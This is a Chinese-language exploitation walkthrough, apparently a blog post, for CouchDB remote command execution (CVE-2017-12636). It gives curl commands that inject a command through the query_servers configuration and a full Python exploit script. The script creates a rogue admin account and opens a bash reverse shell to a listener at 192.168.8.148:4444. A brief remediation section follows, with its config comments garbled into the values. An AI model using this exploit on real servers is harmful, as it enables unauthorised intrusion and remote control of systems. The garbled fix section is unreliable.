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0x0 CoucHDB数据库安装

CouchHDB官网：http://couchdb.apache.org/

一路NEXT直到安装完成，打开浏览器访问如下链接：http://127.0.0.1:5984/

CouchDB Web界面交互页面：http://127.0.0.1:5984/ _UTILS

0x1 漏洞利用

1. 添加Query_Server配置写入要执行的命令;
curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
 
 2. 新建临时库和临时表，插入一条记录;
curl -X PUT 'http://username:password@your-ip:5984/vultest'
curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
 
 3.调用 Query_Server 处理数据
curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

执行后可以看到指定的命令已经执行成功：

0x2 Python利用脚本

修改Target和Command参数，然后修改Version为对应的couk版本，成功反弹。

参考：https://github.com/vulhub/vulhub/blob/master/couchdb/cve-2017-12636/exp.py

#!/usr/bin/env python3
import requests
from requests.auth import HTTPBasicAuth

target = 'http://192.168.8.148:5984'
command = '"bash -i >& /dev/tcp/192.168.8.148/4444 0>&1"'
version = 2

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=command)
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=command)

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

0x3 修复方法

修改couchdb配置文件：etccouchdbdefault.ini

port = 5984                                            CouchDB port number
bind_address = 0.0.0.0                      CouchDB IP address if set to 127 here.0.0.1Then the outer network cannot be accessed.
max_connections = 2048                      Maximum number of couches
database_dir = ../var/lib/CouchDB Data File Directory
view_index_dir = ../var/lib/CoucHDB index file directory
util_driver_dir = ../lib/couch-1.0.1/priv/LIB Driver file directory
file = ../var/log/couchdb/Couch.log log file
level = INFO log level